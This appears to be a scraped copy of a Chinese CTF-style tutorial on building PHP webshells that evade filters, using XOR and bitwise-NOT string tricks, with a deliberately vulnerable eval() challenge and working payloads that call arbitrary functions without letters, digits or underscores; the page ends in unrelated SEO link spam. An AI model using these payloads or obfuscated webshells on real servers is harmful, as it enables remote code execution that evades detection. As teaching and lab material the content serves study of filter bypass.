当前位置: 首页 > news >正文

嘉定网站建设seo外链是什么

嘉定网站建设,seo外链是什么,人类命运共同体,网站毕设代做多少钱文章目录 webshell前置知识进阶绕过 webshell 前置知识 <?phpecho "A"^""; ?>运行结果 可以看到出来的结果是字符“&#xff01;”。 为什么会得到这个结果&#xff1f;是因为代码的“A”字符与“”字符产生了异或。 php中&#xff0c;两个变…

文章目录

  • webshell
    • 前置知识
    • 进阶绕过

webshell

前置知识

<?phpecho "A"^"`";
?>

运行结果
在这里插入图片描述

可以看到出来的结果是字符“!”。

为什么会得到这个结果?是因为代码的“A”字符与“`”字符产生了异或。

php中,两个变量再进行异或的时候,它会将字符串转换成ASCII码,然后将ASCII码转换成二进制再来进行异或操作,异或完,又将二进制的结果转换成ASCII码,再将ASCLL码转换成字符串。

那么什么是异或?

异或操作就是两个二进制数在一起对比时,相同的为0,不同的为1

比如

A的ASCII码是65,对应的二进制是0100 0001

`的ASCII码是96,对应的二进制是0110 0000

那么,异或后,就是0010 0001,对应的ASCII码是33,对应的字符串就是!

接下来,看另外一个代码

<?phpfunction B(){echo "Hello Angel_Kitty";}$_++;$__= "?" ^ "}";$__();
?>

这个代码的运行结果为:Hello Angel_Kitty
在这里插入图片描述

分析一下代码

$_++;就是将"_"这个变量进行自增的操作,在PHP中,通常未定义的变量默认值为null,而nullfalse0,所以,我们可以通过这样的方法来得到一个数字。

$__="?" ^ "}";对字符"?""}"进行了异或运算,将得到的结果B赋给变量名为"__"(两个下划线)的变量

$ __ ();通过上面的赋值操作,变量$__的值就变成了B,所以这一行代码可以被看作B(),相当于调用函数B。所以运行后的结果是Hello Angel_Kitty。

我们可以通过这样转换的方法来绕过那些会检测我们的代码。

像是_POST",“system”,"call_user_func_arry"这些我们需要的字符串能够进行转换,或是其他的一些我们需要的东西。

下面是一个简单的PHP后门:

<?php
include 'flag.php';
if(isset($_GET['code'])){$code = $_GET['code'];if(strlen($code)>40){die("Long.");}if(preg_match("/[A-Za-z0-9]+/",$code)){die("NO.");}@eval($code);
}else{highlight_file(__FILE__);
}
//$hint =  "php function getFlag() to get flag";
?>
// flag.php
<?phpfunction getFlag(){echo "hello world";}
?>

payload

?code=$_="`{{{"^"?<>/";${$_}[_]();&_=getFlag

运行后的结果
在这里插入图片描述

<?phpecho "`{{{"^"?<>/";//_GET
?>

首先,这个的运行结果是
在这里插入图片描述

那么前面的KaTeX parse error: Expected '}', got 'EOF' at end of input: … 中,然后前面又加了个字符,就变成了 $ _GET,又因为& _=getFlag,那么$ _GET又赋值了一个getFlag,所以就变成了调用getFlag函数。

第二种解法:

?code=$_=~%98%9A%8B%B9%93%9E%98;$_();

也是一样的效果
在这里插入图片描述

进阶绕过

<?php include'flag.php'; if(isset($_GET['code'])){ $code=$_GET['code']; if(strlen($code)>50){ die("Too Long."); } if(preg_match("/[A-Za-z0-9_]+/",$code)){ die("Not Allowed."); } @eval($code); 
}else{ highlight_file(__FILE__); 
} 
//$hint = "php function getFlag() to get flag"; 
?>

因为这个代码把_过滤了,所以我们需要用异或的方式

echo ("@" ^ "'").("@" ^ "%").("^" ^ "*").("|" ^ ":").("@" ^ ",").("@" ^ "!").("@" ^ "'");echo "@@^|@@@" ^ "'%*:,!'";

在这里插入图片描述

可以看到,我们这两行代码在进行异或操作过后,都是getFlag

所以最终的payload是

?code=$啊="@@^|@@@"^"'%*:,!'";$啊();

因为前面的代码中过滤了字母、数字和下划线,所以这边采用一下汉字来作为变量名。

然后,运行结果也是同样的hello world
在这里插入图片描述

http://www.hengruixuexiao.com/news/28313.html

相关文章:

  • 重新建设网站的请示谷歌google 官网下载
  • 四川电子商务网站搜索引擎最佳化
  • 淘客网站自己做b站入口2024已更新
  • 淘宝联盟自己做网站怎么知道自己的域名
  • 前端如何做能切换语言的网站网站seo优化方案策划书
  • dedecms制作网站地图网站软件下载
  • 惠州做网站多少钱seo优化推广
  • 工业设计公司属于什么行业seo网站建设
  • 网站怎样做友情链接品牌营销策略分析
  • 网站建设 实训网站建设问一问公司
  • 网站解析怎么做河南靠谱seo地址
  • 网站建二级目录怎样建立自己的网站平台
  • 济南网站开发招聘网站宣传方式有哪些
  • 五羊本田摩托车官网独立站seo优化
  • 真实的网站建设谷歌关键词优化怎么做
  • 公司网站建设费计入什么费用厦门关键词优化报价
  • 建设电影网站视频素材百度关键词模拟点击软件
  • 建设网站的要点seo公司关键词
  • 洛阳做网站找哪家好百度提交入口网址是指在哪里
  • 怎么引导做淘宝的客户做官方网站外包公司
  • 文章类型的网站模版谷歌seo排名技巧
  • 米拓建站模板sem是什么方法
  • 织梦小说网站模板下载关键词搜索排名软件
  • 搜狗网站制作91关键词
  • 免费自建商城网站搜索引擎优化的含义和目标
  • 做网站需要哪些方面的支出最新注册域名查询
  • wordpress5.0启多站点做游戏推广怎么找客户
  • asp.net建网站北京seo主管
  • 源码开发网站建设电商运营主要工作内容
  • 做盗版视频网站百度站长工具验证